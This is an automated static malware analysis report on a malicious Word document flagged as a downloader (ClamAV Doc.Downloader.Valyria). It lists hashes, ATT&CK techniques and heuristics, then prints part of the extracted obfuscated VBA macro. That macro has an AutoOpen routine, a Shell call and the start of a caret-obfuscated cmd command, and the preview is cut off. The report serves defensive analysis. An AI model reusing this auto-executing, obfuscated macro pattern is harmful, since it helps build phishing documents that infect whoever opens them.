Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ba4de3e3f5295f6…

MALICIOUS

Office (OLE)

81.8 KB Created: 2018-09-20 16:23:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 7757ef83de0f930c54c39b1b27d23195 SHA-1: a637c86e3c1a62a75b806be4f67e1b3f4a758c44 SHA-256: 1ba4de3e3f5295f6812c0a575da8f2f19b726a104a9a617231c1a1908783aed3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, indicating it is designed to execute automatically upon opening. The macro is heavily obfuscated but its structure suggests it is intended to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6715188-0' further supports this downloader functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6715188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6715188-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15222 bytes
SHA-256: 9be8f852a3da90663e45a46df85484e94d6b69aa98fd56650b9578474e094dd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CYtijPIj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const BAzCCdXhn = 0
   Dim LETLT(5)
LETLT(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
LETLT(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(3) = MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557)
LETLT(4) = Right(liBtYksT, 399) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim ImAFrR(4)
ImAFrR(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(2) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399)
ImAFrR(3) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim nnFAHd(5)
nnFAHd(0) = Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
nnFAHd(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399)
nnFAHd(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
nnFAHd(3) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
nnFAHd(4) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
   Dim AwXzUh(4)
AwXzUh(0) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
AwXzUh(1) = Right(liBtYksT, 399) + Left(bVEjC, 222)
AwXzUh(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
AwXzUh(3) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim AidZHM(2)
AidZHM(0) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
AidZHM(1) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557)
   Dim vLvYr(2)
vLvYr(0) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222)
vLvYr(1) = Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
Shell@ jvjVE + kcOfW + ijbdGpzi + LWRmnEVWqjb, BAzCCdXhn
   Dim aIoFv(3)
aIoFv(0) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
aIoFv(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
aIoFv(2) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
   Dim wzXLP(3)
wzXLP(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
wzXLP(1) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
wzXLP(2) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
   Dim CcLkv(2)
CcLkv(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
CcLkv(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
End Sub


Attribute VB_Name = "AIzIYrDULpj"
Function jvjVE()
Dim vDuKhw(5)
vDuKhw(0) = Right(liBtYksT, 399) + Left(bVEjC, 222)
vDuKhw(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
vDuKhw(2) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
vDuKhw(3) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
vDuKhw(4) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim kUBAO(4)
kUBAO(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
kUBAO(1) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399)
kUBAO(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
kUBAO(3) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim MVcati(2)
MVcati(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
MVcati(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
notRprKQXX = CStr(Chr(CleanString(3 + 17 + 12 + 3 + 64))) + "md /V/" + CStr(Chr(CleanString(2 + 11 + 8 + 2 + 44))) + CStr(Chr(CleanString(1 + 5 + 4 + 1 + 23))) + "s^e^" + "t ^q^8y= " + " ^  ^ ^" + "  " + " ^ ^ ^ " + "^ ^   " + "^ ^ }" + "^}" + "^{h" + CStr(Chr(C
... (truncated)

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